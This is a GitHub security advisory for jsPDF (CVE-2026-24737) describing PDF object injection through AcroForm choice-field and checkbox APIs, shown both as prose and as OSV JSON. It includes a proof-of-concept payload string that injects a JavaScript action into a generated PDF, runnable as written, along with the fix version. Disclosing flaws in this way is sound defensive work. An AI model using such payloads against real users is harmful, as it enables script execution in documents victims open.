GHSA-PQXR-3G65-P328

Vulnerability from github – Published: 2026-02-02 18:29 – Updated: 2026-02-03 16:13
VLAI?
Summary
jsPDF has PDF Injection in AcroFormChoiceField that allows Arbitrary JavaScript Execution
Details

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

  • AcroformChoiceField.addOption
  • AcroformChoiceField.setOptions
  • AcroFormCheckBox.appearanceState
  • AcroFormRadioButton.appearanceState

Example attack vector:

import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.1.0.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Credits

Research and fix: Ahmet Artuç

Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jspdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T18:29:49Z",
    "nvd_published_at": "2026-02-02T23:16:08Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nUser control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:\n\n* `AcroformChoiceField.addOption`\n* `AcroformChoiceField.setOptions`\n* `AcroFormCheckBox.appearanceState`\n* `AcroFormRadioButton.appearanceState`\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"jspdf\"\nconst doc = new jsPDF();\n\nvar choiceField = new doc.AcroFormChoiceField();\nchoiceField.T = \"VulnerableField\";\nchoiceField.x = 20;\nchoiceField.y = 20;\nchoiceField.width = 100;\nchoiceField.height = 20;\n\n// PAYLOAD:\n// 1. Starts with \"/\" to bypass escaping.\n// 2. \"dummy]\" closes the array.\n// 3. \"/AA\" injects an Additional Action (Focus event).\n// 4. \"/JS\" executes arbitrary JavaScript.\nconst payload = \"/dummy] /AA \u003c\u003c /Fo \u003c\u003c /S /JavaScript /JS (app.alert(\u0027XSS\u0027)) \u003e\u003e \u003e\u003e /Garbage [\";\n\nchoiceField.addOption(payload);\ndoc.addField(choiceField);\n\ndoc.save(\"test.pdf\");\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.1.0.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.\n\n### Credits\nResearch and fix: Ahmet Artu\u00e7",
  "id": "GHSA-pqxr-3g65-p328",
  "modified": "2026-02-03T16:13:01Z",
  "published": "2026-02-02T18:29:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-pqxr-3g65-p328"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/commit/da291a5f01b96282545c9391996702cdb8879f79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parallax/jsPDF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/releases/tag/v4.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jsPDF has PDF Injection in AcroFormChoiceField that allows Arbitrary JavaScript Execution"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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